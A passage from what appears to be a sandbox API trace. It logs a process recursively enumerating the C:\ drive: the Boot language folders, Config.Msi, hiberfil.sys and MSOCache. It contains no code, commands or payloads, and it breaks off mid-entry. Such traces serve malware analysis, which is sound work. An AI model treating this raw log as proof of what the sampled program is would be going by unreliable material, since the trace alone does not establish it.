lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.829] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.829] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.829] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.830] GetProcessHeap () returned 0x730000 [0053.830] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.830] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0053.830] GetProcessHeap () returned 0x730000 [0053.830] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.830] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.830] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.830] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.830] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.830] GetProcessHeap () returned 0x730000 [0053.830] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.830] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0053.830] GetProcessHeap () returned 0x730000 [0053.830] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.830] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.831] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.831] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.831] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.831] GetProcessHeap () returned 0x730000 [0053.831] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.831] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0053.831] GetProcessHeap () returned 0x730000 [0053.831] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.831] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.831] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.831] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.831] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.831] GetProcessHeap () returned 0x730000 [0053.831] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.832] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0053.832] GetProcessHeap () returned 0x730000 [0053.832] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.832] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.832] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.832] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.832] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.832] GetProcessHeap () returned 0x730000 [0053.832] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.832] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0053.832] GetProcessHeap () returned 0x730000 [0053.832] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.832] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.833] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.833] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.833] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.833] GetProcessHeap () returned 0x730000 [0053.833] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.833] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0053.833] FindClose (in: hFindFile=0x752290 | out: hFindFile=0x752290) returned 1 [0053.833] GetProcessHeap () returned 0x730000 [0053.833] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7d7c18 | out: hHeap=0x730000) returned 1 [0053.833] FindNextFileW (in: hFindFile=0x754370, lpFindFileData=0x2caf930 | out: lpFindFileData=0x2caf930*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0053.833] FindNextFileW (in: hFindFile=0x754370, lpFindFileData=0x2caf930 | out: lpFindFileData=0x2caf930*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0053.833] FindNextFileW (in: hFindFile=0x754370, lpFindFileData=0x2caf930 | out: lpFindFileData=0x2caf930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0053.833] GetProcessHeap () returned 0x730000 [0053.833] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7d7c18 [0053.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752290 [0053.834] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.834] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.834] FindClose (in: hFindFile=0x752290 | out: hFindFile=0x752290) returned 1 [0053.834] GetProcessHeap () returned 0x730000 [0053.834] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7d7c18 | out: hHeap=0x730000) returned 1 [0053.836] FindNextFileW (in: hFindFile=0x754370, lpFindFileData=0x2caf930 | out: lpFindFileData=0x2caf930*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0053.836] FindNextFileW (in: hFindFile=0x754370, lpFindFileData=0x2caf930 | out: lpFindFileData=0x2caf930*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0053.836] FindNextFileW (in: hFindFile=0x754370, lpFindFileData=0x2caf930 | out: lpFindFileData=0x2caf930*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0053.836] GetProcessHeap () returned 0x730000 [0053.836] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7d7c18 [0053.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752290 [0053.836] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.836] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0053.836] GetProcessHeap () returned 0x730000 [0053.836] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e91878 [0053.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, 